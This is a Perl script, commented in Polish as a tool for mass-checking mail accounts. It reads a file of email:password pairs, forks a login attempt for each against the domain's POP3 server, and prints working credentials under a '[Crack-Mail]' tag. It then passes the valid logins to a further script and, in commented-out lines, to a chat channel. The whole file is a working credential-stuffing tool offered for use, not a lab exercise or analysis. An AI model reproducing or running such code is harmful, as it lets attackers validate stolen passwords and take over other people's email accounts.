#!/usr/bin/perl
use IO::Socket::INET; # skyrpt do masowego sprawdzania maili , pozdro S.
						my $save = "./users.txt";
						my $czaj = $save; open(FILE, $czaj); print("open $czaj \r\n");
						while(<FILE>) {
						my $jo=$_; chomp $jo; $jo=~s/\n//; $jo=~s/\r//;
						 if($jo=~ /(.*)\@(.*):(.*)/g){
      my $mail = $1; my $dom = $2; my $pass = $3; my $cal = $mail.'@'.$dom.':'.$pass;
      if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &pop3($cal); } }

 } sleep 1; # need ?
 										}
						close(FILE);

sub pop3() {
my $dork = $_[0];
my ($user,$password)=split(/:/,$dork);
my ($lol,$host) = split(/@/,$user);
#send_msg($channel,"Dork: $dork USer: $user Pass: $password Dom $host Lol: $lol ");.
if($sockz = new IO::Socket::INET (PeerAddr => $host,PeerPort => 110,Proto => 'tcp',Timeout=>'2')){
$n = sysread($sockz, $buffer, 4096);
if (substr($buffer, 0, 3) ne "+OK") { print "Problem with pop server\n"; exit(0); } else { print "$buffer"."Opening message successfully read\n"; }
$buffer = "USER $user\r\n";
syswrite($sockz, $buffer, length($buffer));
$n = sysread($sockz, $buffer, 4096);
if (substr($buffer, 0, 3) ne "+OK") { print "Username incorrect\n"; exit(0); } else { print "USER command successfully sent\n$buffer"; }
$buffer = "PASS $password\r\n";
syswrite($sockz, $buffer, length($buffer));
$n = sysread($sockz, $buffer, 4096);
if (substr($buffer, 0, 3) ne "+OK") { print "Password incorrect\n"; exit(0); } else { print "PASS command successfully sent\n$buffer";  }
$buffer = "STAT\r\n";
syswrite($sockz, $buffer, length($buffer));
$n = sysread($sockz, $buffer, 4096);
chop $buffer; chop $buffer;
($OK, $messages, $octets) = split(/ /, $buffer, 3);
if ($OK ne "+OK") { print "STAT command error\n"; exit(0); } else { print "STAT command successfully sent\n$buffer\n"; }
$mess = "message"; if ($messages != 1) { $mess.= "s"; } $octmess = "octet"; if ($octets != 1) { $octmess.= "s"; }

print "POP server \"$host\" has $messages $mess "; print "for \"$user\" ($octets $octmess)\n";
#&send_msg($channel," [Crack-Mail] User 4 $user Password:9 $password Email: has $messages $mess ");
print " [Crack-Mail] User $user Password: $password Email: has $messages $mess aVe\n";
`perl ./../toti.pl $user $password $host`;
$buffer = "QUIT\r\n";
syswrite($sockz, $buffer, length($buffer));
$n = sysread($sockz, $buffer, 4096);
if (substr($buffer, 0, 3) ne "+OK") { print "QUIT command error\n";  exit(0); } else { print "QUIT command successfully sent\n $buffer"; }
close ($sockz);
} exit(0);
}